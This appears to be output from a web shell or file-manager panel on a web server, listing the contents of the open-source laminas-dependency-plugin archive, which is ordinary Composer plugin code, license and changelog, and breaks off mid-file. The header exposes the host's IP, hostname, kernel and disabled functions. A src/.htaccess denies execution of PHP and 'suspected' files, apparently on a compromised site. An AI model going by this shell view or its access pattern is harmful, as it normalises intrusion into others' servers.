uawdijnntqw1x1x1
IP : 216.73.216.136
Hostname : dhandapanilive
Kernel : Linux dhandapanilive 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
OS : Linux
PATH:
/
var
/
www
/
html
/
dhandapani
/
d6e06
/
..
/
dev
/
..
/
9da53
/
laminas-dependency-plugin.tar
/
/
phpcs.xml000077700000001400151323643720006413 0ustar00<?xml version="1.0"?> <ruleset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="./vendor/squizlabs/php_codesniffer/phpcs.xsd"> <arg name="basepath" value="." /> <arg name="cache" value=".phpcs-cache" /> <arg name="colors" /> <arg name="extensions" value="php" /> <arg name="parallel" value="80" /> <!-- Show progress --> <arg value="p"/> <!-- Paths to check --> <file>src</file> <file>test</file> <!-- Include all rules from Laminas Coding Standard --> <rule ref="LaminasCodingStandard" /> <rule ref="SlevomatCodingStandard.Classes.UnusedPrivateElements.UnusedMethod"> <exclude-pattern>/src/AbstractDependencyRewriter.php</exclude-pattern> </rule> </ruleset> COPYRIGHT.md000077700000000133151323643720006450 0ustar00Copyright (c) 2020 Laminas Project a Series of LF Projects, LLC. (https://getlaminas.org/) src/DependencyRewriterV1.php000077700000014407151323643720012100 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\DependencyResolver\Operation; use Composer\Installer\InstallerEvent; use Composer\Installer\PackageEvent; use Composer\IO\IOInterface; use Composer\Package\PackageInterface; use function get_class; use function in_array; use function sprintf; /** @psalm-suppress PropertyNotSetInConstructor */ final class DependencyRewriterV1 extends AbstractDependencyRewriter implements DependencySolvingCapableInterface { /** * Replace ZF packages present in the composer.json during install or * update operations. * * When the `composer.json` has references to ZF packages, and the user * requests an `install` or `update`, this method will rewrite any such * packages to their Laminas equivalents prior to attempting to resolve * dependencies, ensuring the Laminas versions are installed. * * @return void */ public function onPreDependenciesSolving(InstallerEvent $event) { $this->output(sprintf('<info>In %s</info>', __METHOD__), IOInterface::DEBUG); /** @psalm-suppress UndefinedMethod,MixedAssignment */ $request = $event->getRequest(); $changes = false; /** * @psalm-suppress MixedMethodCall * @psalm-var array<array-key, array<string, string>> $jobs */ $jobs = $request->getJobs(); foreach ($jobs as $index => $job) { /** @psalm-var array<string, string> $job */ if (! isset($job['cmd']) || ! in_array($job['cmd'], ['install', 'update'], true)) { continue; } if (! isset($job['packageName'])) { continue; } $name = $job['packageName']; if (! $this->isZendPackage($name)) { continue; } $replacementName = $this->transformPackageName($name); if ($replacementName === $name) { continue; } $this->output(sprintf( '<info>Replacing package "%s" with package "%s"</info>', $name, $replacementName ), IOInterface::VERBOSE); $job['packageName'] = $replacementName; $jobs[$index] = $job; $changes = true; } if (! $changes) { return; } /** @psalm-suppress MixedArgument */ $this->updateProperty($request, 'jobs', $jobs); } /** * Ensure nested dependencies on ZF packages install equivalent Laminas packages. * * When a 3rd party package has dependencies on ZF packages, this method * will detect the request to install a ZF package, and rewrite it to use a * Laminas variant at the equivalent version, if one exists. * * @return void */ public function onPrePackageInstallOrUpdate(PackageEvent $event) { $this->output(sprintf('<info>In %s</info>', __METHOD__), IOInterface::DEBUG); $operation = $event->getOperation(); switch (true) { case $operation instanceof Operation\InstallOperation: $package = $operation->getPackage(); break; case $operation instanceof Operation\UpdateOperation: $package = $operation->getTargetPackage(); break; default: // Nothing to do $this->output(sprintf( '<info>Exiting; operation of type %s not supported</info>', get_class($operation) ), IOInterface::DEBUG); return; } $name = $package->getName(); if (! $this->isZendPackage($name)) { // Nothing to do $this->output(sprintf( '<info>Exiting; package "%s" does not have a replacement</info>', $name ), IOInterface::DEBUG); return; } $replacementName = $this->transformPackageName($name); if ($replacementName === $name) { // Nothing to do $this->output(sprintf( '<info>Exiting; while package "%s" is a ZF package, it does not have a replacement</info>', $name ), IOInterface::DEBUG); return; } $version = $package->getVersion(); $replacementPackage = $this->composer->getRepositoryManager()->findPackage($replacementName, $version); if ($replacementPackage === null) { // No matching replacement package found $this->output(sprintf( '<info>Exiting; no replacement package found for package "%s" with version %s</info>', $replacementName, $version ), IOInterface::DEBUG); return; } $this->output(sprintf( '<info>Replacing package %s with package %s, using version %s</info>', $name, $replacementName, $version ), IOInterface::VERBOSE); $this->replacePackageInOperation($replacementPackage, $operation); } private function replacePackageInOperation( PackageInterface $replacement, Operation\OperationInterface $operation ): void { $this->updateProperty( $operation, $operation instanceof Operation\UpdateOperation ? 'targetPackage' : 'package', $replacement ); } /** * @param mixed $value */ private function updateProperty(object $object, string $property, $value): void { // phpcs:disable WebimpressCodingStandard.PHP.StaticCallback.Static /** * @param mixed $value * @psalm-suppress MissingClosureParamType * @psalm-suppress PossiblyInvalidFunctionCall */ (function (object $object, string $property, $value): void { $object->$property = $value; })->bindTo($object, $object)($object, $property, $value); // phpcs:enable } } src/AutoloadDumpCapableInterface.php000077700000001035151323643720013547 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Script\Event; interface AutoloadDumpCapableInterface extends RewriterInterface { /** * @return void */ public function onPostAutoloadDump(Event $event); } src/Replacements.php000077700000007027151323643720010511 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use function in_array; use function preg_match; use function sprintf; final class Replacements { /** @var string[] */ private $ignore = [ 'zendframework/zend-debug', 'zendframework/zend-version', 'zendframework/zendservice-apple-apns', 'zendframework/zendservice-google-gcm', 'zfcampus/zf-apigility-example', 'zfcampus/zf-angular', 'zfcampus/zf-console', 'zfcampus/zf-deploy', ]; /** * @param string $name Original package name * @return string Transformed (or original) package name */ public function transformPackageName($name) { switch ($name) { // Packages without replacements: case in_array($name, $this->ignore, true): /** @psalm-suppress MixedReturnStatement */ return $name; // Packages with non-standard naming: case 'zendframework/zenddiagnostics': return 'laminas/laminas-diagnostics'; case 'zendframework/zendoauth': return 'laminas/laminas-oauth'; case 'zendframework/zendservice-recaptcha': return 'laminas/laminas-recaptcha'; case 'zendframework/zendservice-twitter': return 'laminas/laminas-twitter'; case 'zendframework/zendxml': return 'laminas/laminas-xml'; case 'zendframework/zend-expressive': return 'mezzio/mezzio'; case 'zendframework/zend-problem-details': return 'mezzio/mezzio-problem-details'; case 'zfcampus/zf-apigility': return 'laminas-api-tools/api-tools'; case 'zfcampus/zf-composer-autoloading': return 'laminas/laminas-composer-autoloading'; case 'zfcampus/zf-development-mode': return 'laminas/laminas-development-mode'; // All other packages: default: if (preg_match('#^zendframework/zend-expressive-zend(?<name>.*)$#', $name, $matches)) { return sprintf('mezzio/mezzio-laminas%s', $matches['name']); } if (preg_match('#^zendframework/zend-expressive-(?<name>.*)$#', $name, $matches)) { return sprintf('mezzio/mezzio-%s', $matches['name']); } if (preg_match('#^zfcampus/zf-apigility-(?<name>.*)$#', $name, $matches)) { return sprintf('laminas-api-tools/api-tools-%s', $matches['name']); } if (preg_match('#^zfcampus/zf-(?<name>.*)$#', $name, $matches)) { return sprintf('laminas-api-tools/api-tools-%s', $matches['name']); } if (preg_match('#^zendframework/zend-(?<name>.*)$#', $name, $matches)) { return sprintf('laminas/laminas-%s', $matches['name']); } return $name; } } /** * @param string $name Original package name * @return bool */ public function isZendPackage($name) { if (! preg_match('#^(zendframework|zfcampus)/#', $name)) { return false; } return true; } } src/AbstractDependencyRewriter.php000077700000010571151323643720013353 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Composer; use Composer\Installer\PackageEvent; use Composer\IO\IOInterface; use Composer\Plugin\PreCommandRunEvent; use function array_map; use function array_shift; use function in_array; use function is_array; use function preg_split; use function reset; use function sprintf; /** @psalm-suppress PropertyNotSetInConstructor */ abstract class AbstractDependencyRewriter implements RewriterInterface { /** * @psalm-suppress PropertyNotSetInConstructor * @var Composer */ protected $composer; /** * @psalm-suppress PropertyNotSetInConstructor * @var IOInterface */ protected $io; /** @var Replacements */ private $replacements; public function __construct() { $this->replacements = new Replacements(); } /** * @return void */ public function activate(Composer $composer, IOInterface $io) { $this->composer = $composer; $this->io = $io; $this->output(sprintf('<info>Activating %s</info>', static::class), IOInterface::DEBUG); } /** * When a ZF package is requested, replace with the Laminas variant. * * When a `require` operation is requested, and a ZF package is detected, * this listener will replace the argument with the equivalent Laminas * package. This ensures that the `composer.json` file is written to * reflect the package installed. * * @return void */ public function onPreCommandRun(PreCommandRunEvent $event) { $this->output( sprintf( '<info>In %s::%s</info>', static::class, __FUNCTION__ ), IOInterface::DEBUG ); if (! in_array($event->getCommand(), ['require', 'update'], true)) { // Nothing to do here. return; } $input = $event->getInput(); if (! $input->hasArgument('packages')) { return; } $packages = $input->getArgument('packages'); $input->setArgument( 'packages', is_array($packages) ? array_map([$this, 'updatePackageArgument'], $packages) : [] ); } abstract public function onPrePackageInstallOrUpdate(PackageEvent $event); /** * @param string $message * @param int $verbosity */ protected function output($message, $verbosity = IOInterface::NORMAL): void { $this->io->write($message, true, $verbosity); } /** * Parses a package argument from the command line, replacing it with the * Laminas variant if it exists. * * @param string $package Package specification from command line * @return string Modified package specification containing Laminas * substitution, or original if no changes required. */ private function updatePackageArgument($package) { $result = preg_split('/[ :=]/', $package, 2); if ($result === false) { return $package; } $name = array_shift($result); if (! $this->isZendPackage($name)) { return $package; } $replacementName = $this->transformPackageName($name); if ($replacementName === $name) { return $package; } $this->io->write( sprintf( 'Changing package in current command from %s to %s', $name, $replacementName ), true, IOInterface::DEBUG ); $version = reset($result); if ($version === false) { return $replacementName; } return sprintf('%s:%s', $replacementName, $version); } /** * @param string $name * @return bool */ protected function isZendPackage($name) { return $this->replacements->isZendPackage($name); } /** * @param string $name * @return string */ protected function transformPackageName($name) { return $this->replacements->transformPackageName($name); } } src/PoolCapableInterface.php000077700000001245151323643720012065 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Plugin\PrePoolCreateEvent; interface PoolCapableInterface extends RewriterInterface { /** * If a ZF package is being installed, ensure the pool is modified to install the laminas equivalent instead. * * @return void */ public function onPrePoolCreate(PrePoolCreateEvent $event); } src/DependencyRewriterV2.php000077700000024612151323643720012100 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Composer; use Composer\Console\Application; use Composer\DependencyResolver\Operation; use Composer\Factory; use Composer\Installer\PackageEvent; use Composer\IO\IOInterface; use Composer\Json\JsonFile; use Composer\Package\PackageInterface; use Composer\Plugin\PrePoolCreateEvent; use Composer\Repository\InstalledFilesystemRepository; use Composer\Script\Event; use Symfony\Component\Console\Input\ArrayInput; use function assert; use function call_user_func; use function dirname; use function get_class; use function in_array; use function is_array; use function ksort; use function sprintf; /** @psalm-suppress PropertyNotSetInConstructor */ final class DependencyRewriterV2 extends AbstractDependencyRewriter implements PoolCapableInterface, AutoloadDumpCapableInterface { /** @var PackageInterface[] */ private $zendPackagesInstalled = []; /** @var callable */ private $applicationFactory; /** @var string */ private $composerFile; /** * @param string $composerFile */ public function __construct(?callable $applicationFactory = null, $composerFile = '') { parent::__construct(); /** @psalm-suppress MixedAssignment */ $this->composerFile = $composerFile ?: Factory::getComposerFile(); $this->applicationFactory = $applicationFactory ?: static function (): Application { return new Application(); }; } /** * Ensure nested dependencies on ZF packages install equivalent Laminas packages. * * When a 3rd party package has dependencies on ZF packages, this method * will detect the request to install a ZF package, and rewrite it to use a * Laminas variant at the equivalent version, if one exists. * * @return void */ public function onPrePackageInstallOrUpdate(PackageEvent $event) { $this->output(sprintf('<info>In %s</info>', __METHOD__), IOInterface::DEBUG); $operation = $event->getOperation(); switch (true) { case $operation instanceof Operation\InstallOperation: $package = $operation->getPackage(); break; case $operation instanceof Operation\UpdateOperation: $package = $operation->getTargetPackage(); break; default: // Nothing to do $this->output(sprintf( '<info>Exiting; operation of type %s not supported</info>', get_class($operation) ), IOInterface::DEBUG); return; } $name = $package->getName(); if (! $this->isZendPackage($name)) { // Nothing to do $this->output(sprintf( '<info>Exiting; package "%s" does not have a replacement</info>', $name ), IOInterface::DEBUG); return; } $replacementName = $this->transformPackageName($name); if ($replacementName === $name) { // Nothing to do $this->output(sprintf( '<info>Exiting; while package "%s" is a ZF package, it does not have a replacement</info>', $name ), IOInterface::DEBUG); return; } $version = $package->getVersion(); $repositoryManager = $this->composer->getRepositoryManager(); $replacementPackage = $repositoryManager->findPackage($replacementName, $version); if ($replacementPackage === null) { // No matching replacement package found $this->output(sprintf( '<info>Exiting; no replacement package found for package "%s" with version %s</info>', $replacementName, $version ), IOInterface::DEBUG); return; } $this->output(sprintf( '<info>Could replace package %s with package %s, using version %s</info>', $name, $replacementName, $version ), IOInterface::VERBOSE); $this->zendPackagesInstalled[] = $package; } /** * @return void */ public function onPostAutoloadDump(Event $event) { if (! $this->zendPackagesInstalled) { return; } // Remove zend-packages from vendor/ directory $composer = $event->getComposer(); $installers = $composer->getInstallationManager(); $repository = $composer->getRepositoryManager()->getLocalRepository(); $composerFile = $this->createComposerFile(); $definition = $composerFile->read(); assert(is_array($definition)); $definitionChanged = false; foreach ($this->zendPackagesInstalled as $package) { $packageName = $package->getName(); $replacementName = $this->transformPackageName($packageName); if ($this->isRootRequirement($definition, $packageName)) { $this->output(sprintf( '<info>Package %s is a root requirement. laminas-dependency-plugin changes your composer.json' . ' to require laminas equivalent directly!</info>', $packageName )); $definitionChanged = true; $definition = $this->updateRootRequirements( $definition, $packageName, $replacementName ); } $uninstallOperation = new Operation\UninstallOperation($package); $installers->uninstall($repository, $uninstallOperation); } if ($definitionChanged) { $composerFile->write($definition); } $this->updateLockFile(); } /** * @return void */ public function onPrePoolCreate(PrePoolCreateEvent $event) { $this->output(sprintf('In %s', __METHOD__)); $installedRepository = $this->createInstalledRepository($this->composer, $this->io); $installedPackages = $installedRepository->getPackages(); $installedZendPackages = []; foreach ($installedPackages as $package) { if (! $this->isZendPackage($package->getName())) { continue; } $installedZendPackages[] = $package->getName(); } if (! $installedZendPackages) { return; } $unacceptableFixedPackages = $event->getUnacceptableFixedPackages(); $repository = $this->composer->getRepositoryManager(); $packages = $event->getPackages(); foreach ($packages as $index => $package) { if (! in_array($package->getName(), $installedZendPackages, true)) { continue; } $replacement = $this->transformPackageName($package->getName()); if ($replacement === $package->getName()) { continue; } $replacementPackage = $repository->findPackage($replacement, $package->getVersion()); if (! $replacementPackage instanceof PackageInterface) { continue; } $unacceptableFixedPackages[] = $package; $this->output(sprintf('Slipstreaming %s => %s', $package->getName(), $replacement)); $packages[$index] = $replacementPackage; } $event->setUnacceptableFixedPackages($unacceptableFixedPackages); $event->setPackages($packages); } /** * With `composer update --lock`, all missing packages are being installed aswell. * This is where we slip-stream in with our plugin. */ private function updateLockFile(): void { $application = call_user_func($this->applicationFactory); assert($application instanceof Application); $application->setAutoExit(false); $input = [ 'command' => 'update', '--lock' => true, '--no-scripts' => true, '--working-dir' => dirname($this->composerFile), ]; $application->run(new ArrayInput($input)); } /** * @return InstalledFilesystemRepository */ private function createInstalledRepository(Composer $composer, IOInterface $io) { /** @var string $vendor */ $vendor = $composer->getConfig()->get('vendor-dir'); return new InstalledFilesystemRepository( new JsonFile($vendor . '/composer/installed.json', null, $io), true, $composer->getPackage() ); } /** * @param string $packageName * @return bool */ private function isRootRequirement(array $definition, $packageName) { return isset($definition['require'][$packageName]) || isset($definition['require-dev'][$packageName]); } /** * @param string $packageName * @param string $replacementPackageName * @return array */ private function updateRootRequirements(array $definition, $packageName, $replacementPackageName) { /** @var bool $sortPackages */ $sortPackages = $definition['config']['sort-packages'] ?? false; foreach (['require', 'require-dev'] as $key) { if (! isset($definition[$key])) { continue; } /** @var array $requirements */ $requirements = $definition[$key]; if (! isset($requirements[$packageName])) { continue; } /** @psalm-suppress MixedAssignment */ $requirements[$replacementPackageName] = $requirements[$packageName]; unset($requirements[$packageName]); if ($sortPackages) { ksort($requirements); } $definition[$key] = $requirements; } return $definition; } /** * @return PackageInterface[] */ public function getZendPackagesInstalled() { return $this->zendPackagesInstalled; } /** * @return JsonFile */ private function createComposerFile() { return new JsonFile($this->composerFile, null, $this->io); } } src/DependencyRewriterPlugin.php000077700000000702151323643720013041 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; /** @deprecated */ class DependencyRewriterPlugin extends DependencyRewriterPluginDelegator { } src/RewriterInterface.php000077700000002431151323643720011505 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Composer; use Composer\Installer\PackageEvent; use Composer\IO\IOInterface; use Composer\Plugin\PreCommandRunEvent; interface RewriterInterface { /** * @return void */ public function activate(Composer $composer, IOInterface $io); /** * When a ZF package is requested, replace with the Laminas variant. * * When a `require` operation is requested, and a ZF package is detected, * this listener will replace the argument with the equivalent Laminas * package. This ensures that the `composer.json` file is written to * reflect the package installed. * * @return void */ public function onPreCommandRun(PreCommandRunEvent $event); /** * When a ZF package is installed or updated, ensure that its being replaced after installation/update is finished. * * @return void */ public function onPrePackageInstallOrUpdate(PackageEvent $event); } src/DependencyRewriterPluginDelegator.php000077700000010345151323643720014674 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Composer; use Composer\EventDispatcher\EventSubscriberInterface; use Composer\Installer\InstallerEvent; use Composer\Installer\InstallerEvents; use Composer\Installer\PackageEvent; use Composer\Installer\PackageEvents; use Composer\IO\IOInterface; use Composer\Plugin\PluginEvents; use Composer\Plugin\PluginInterface; use Composer\Plugin\PreCommandRunEvent; use Composer\Plugin\PrePoolCreateEvent; use Composer\Script\Event; use Composer\Script\ScriptEvents; use function assert; use function version_compare; class DependencyRewriterPluginDelegator implements EventSubscriberInterface, PluginInterface { /** @var RewriterInterface */ private $rewriter; public function __construct(?RewriterInterface $rewriter = null) { $this->rewriter = $rewriter ?: $this->createDependencyRewriterForPluginVersion(PluginInterface::PLUGIN_API_VERSION); } /** * @return array Returns in following format: * <string> => array<string, int> */ public static function getSubscribedEvents() { if (version_compare(PluginInterface::PLUGIN_API_VERSION, '2.0', 'lt')) { /** @psalm-suppress UndefinedConstant */ return [ InstallerEvents::PRE_DEPENDENCIES_SOLVING => ['onPreDependenciesSolving', 1000], PackageEvents::PRE_PACKAGE_INSTALL => ['onPrePackageInstallOrUpdate', 1000], PackageEvents::PRE_PACKAGE_UPDATE => ['onPrePackageInstallOrUpdate', 1000], PluginEvents::PRE_COMMAND_RUN => ['onPreCommandRun', 1000], ]; } return [ PluginEvents::PRE_POOL_CREATE => ['onPrePoolCreate', 1000], PackageEvents::PRE_PACKAGE_INSTALL => ['onPrePackageInstallOrUpdate', 1000], PackageEvents::PRE_PACKAGE_UPDATE => ['onPrePackageInstallOrUpdate', 1000], PluginEvents::PRE_COMMAND_RUN => ['onPreCommandRun', 1000], ScriptEvents::POST_AUTOLOAD_DUMP => ['onPostAutoloadDump', -1000], ]; } /** * @return void */ public function onPreDependenciesSolving(InstallerEvent $event) { $rewriter = $this->rewriter; assert($rewriter instanceof DependencySolvingCapableInterface); $rewriter->onPreDependenciesSolving($event); } /** * @return void */ public function onPrePackageInstallOrUpdate(PackageEvent $event) { $this->rewriter->onPrePackageInstallOrUpdate($event); } /** * @return void */ public function onPreCommandRun(PreCommandRunEvent $event) { $this->rewriter->onPreCommandRun($event); } /** * @return void */ public function onPrePoolCreate(PrePoolCreateEvent $event) { $rewriter = $this->rewriter; assert($rewriter instanceof PoolCapableInterface); $rewriter->onPrePoolCreate($event); } /** * @return void */ public function onPostAutoloadDump(Event $event) { $rewriter = $this->rewriter; assert($rewriter instanceof AutoloadDumpCapableInterface); $rewriter->onPostAutoloadDump($event); } /** * @return void */ public function activate(Composer $composer, IOInterface $io) { $this->rewriter->activate($composer, $io); } /** * @return void */ public function deactivate(Composer $composer, IOInterface $io) { } /** * @return void */ public function uninstall(Composer $composer, IOInterface $io) { } /** * @param string $pluginApiVersion * @return DependencyRewriterV1|DependencyRewriterV2 */ private function createDependencyRewriterForPluginVersion($pluginApiVersion) { if (version_compare($pluginApiVersion, '2.0', 'lt')) { return new DependencyRewriterV1(); } return new DependencyRewriterV2(); } } src/DependencySolvingCapableInterface.php000077700000001254151323643720014574 0ustar00<?php /** * @see https://github.com/laminas/laminas-dependency-plugin for the canonical source repository * @copyright https://github.com/laminas/laminas-dependency-plugin/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-dependency-plugin/blob/master/LICENSE.md New BSD License */ namespace Laminas\DependencyPlugin; use Composer\Installer\InstallerEvent; interface DependencySolvingCapableInterface extends RewriterInterface { /** * If a ZF package is being installed, modify the incoming request to slip-stream laminas packages. * * @return void */ public function onPreDependenciesSolving(InstallerEvent $event); } src/.htaccess000077700000000177151323643720007153 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>README.md000077700000001142151323643720006036 0ustar00# laminas-dependency-plugin [](https://travis-ci.com/laminas/laminas-dependency-plugin) [](https://codecov.io/gh/laminas/laminas-dependency-plugin) This Composer plugin, when enabled in a project, intercepts requests to install packages from the zendframework and zfcampus vendors, and will replace them with the equivalents from the Laminas Project. ## Installation ```bash $ composer require laminas/laminas-dependency-plugin ``` LICENSE.md000077700000002732151323643720006171 0ustar00Copyright (c) 2020 Laminas Project a Series of LF Projects, LLC. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Laminas Foundation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. CHANGELOG.md000077700000012042151323643720006371 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 2.1.0 - 2020-11-02 ### Added - [#25](https://github.com/laminas/laminas-dependency-plugin/pull/25) adds support for PHP 8. ### Removed - [#25](https://github.com/laminas/laminas-dependency-plugin/pull/25) removes support for PHP versions prior to 7.3. ----- ### Release Notes for [2.1.0](https://github.com/laminas/laminas-dependency-plugin/milestone/4) Feature release (minor) ### 2.1.0 - Total issues resolved: **1** - Total pull requests resolved: **2** - Total contributors: **2** #### Enhancement - [26: Add psalm integration](https://github.com/laminas/laminas-dependency-plugin/pull/26) thanks to @weierophinney and @boesing - [25: Add support for PHP 8](https://github.com/laminas/laminas-dependency-plugin/pull/25) thanks to @weierophinney ## 2.0.0 - 2020-10-30 ### Added - Adds support for Composer version 2 releases. ----- ### Release Notes for [2.0.0](https://github.com/laminas/laminas-dependency-plugin/milestone/2) ### 2.0.0 - Total issues resolved: **1** - Total pull requests resolved: **1** - Total contributors: **1** #### Bug - [24: Fix: DependencyRewriterV1 should implement DependencySolvingCapableInterface](https://github.com/laminas/laminas-dependency-plugin/pull/24) thanks to @rieschl ## 2.0.0beta1 - 2020-07-01 ### Added - [#18](https://github.com/laminas/laminas-dependency-plugin/pull/18) adds support for Composer version 2 releases. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Nothing. ## 1.0.4 - 2020-05-20 ### Added - Nothing. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - [#17](https://github.com/laminas/laminas-dependency-plugin/pull/17) fixes how the various Expressive packages referencing Zend Framework components are detected and rewritten, so that they now properly reference Laminas instead of Zend in the rewritten names. ## 1.0.3 - 2020-01-14 ### Added - Nothing. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - [#12](https://github.com/laminas/laminas-dependency-plugin/pull/12) adds exclusion for zendframework/zend-debug as it was not migrated to Laminas. ## 1.0.2 - 2020-01-07 ### Added - Nothing. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - [#10](https://github.com/laminas/laminas-dependency-plugin/pull/10) fixes a bad comparison in the `DependecyRewriterPlugin`. ## 1.0.1 - 2020-01-07 ### Added - Nothing. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - [#7](https://github.com/laminas/laminas-dependency-plugin/pull/7) adds exclusions for zendframework/zend-version, zendframework/zendservice-apple-apns, zendframework/zendservice-google-gcm, zfcampus/zf-apigility-example, zfcampus/zf-angular, and zfcampus/zf-deploy, as none of these packages were migrated to Laminas. ## 1.0.0 - 2019-12-31 ### Added - First stable release. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Nothing. ## 0.2.0 - 2019-12-02 ### Added - Nothing. ### Changed - [#3](https://github.com/laminas/laminas-dependency-plugin/pull/3) updates the tooling to rewrite Apigility packages to reference laminas-api-tools and api-tools. - [#3](https://github.com/laminas/laminas-dependency-plugin/pull/3) updates the tooling to rewrite Expressive packages to reference Mezzio. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Nothing. ## 0.1.3 - 2019-11-01 ### Added - Nothing. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - [#2](https://github.com/laminas/laminas-dependency-plugin/pull/2) fixes how package replacements are slip-streamed in, ensuring nested dependencies use the correct packages. Previously, Composer would report the replacement, but the original ZF package would actually be installed. ## 0.1.2 - 2019-10-29 ### Added - [#1](https://github.com/laminas/laminas-dependency-plugin/pull/1) adds support for PHP 5.6 and 7.0. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Nothing. ## 0.1.1 - 2019-10-28 ### Added - Nothing. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Adds rewrite rules for known archived packages, ensuring the plugin will not attempt to rewrite those packages to Laminas variants. ## 0.1.0 - 2019-10-23 ### Added - Adds a pre-command-run listener in order to rewrite requests to install zendframework and zfcampus packages to their Laminas Project equivalents. - Adds a pre-dependencies-solving listener in order to replace requests for zendframework and zfcampus packages with their Laminas Project equivalents. - Adds a pre-package-install listener to intercept install requests for zendframework and zfcampus packages and replace them with Laminas Project equivalents. ### Changed - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Nothing. composer.json000077700000002355151323643720007310 0ustar00{ "name": "laminas/laminas-dependency-plugin", "description": "Replace zendframework and zfcampus packages with their Laminas Project equivalents.", "type": "composer-plugin", "license": "BSD-3-Clause", "config": { 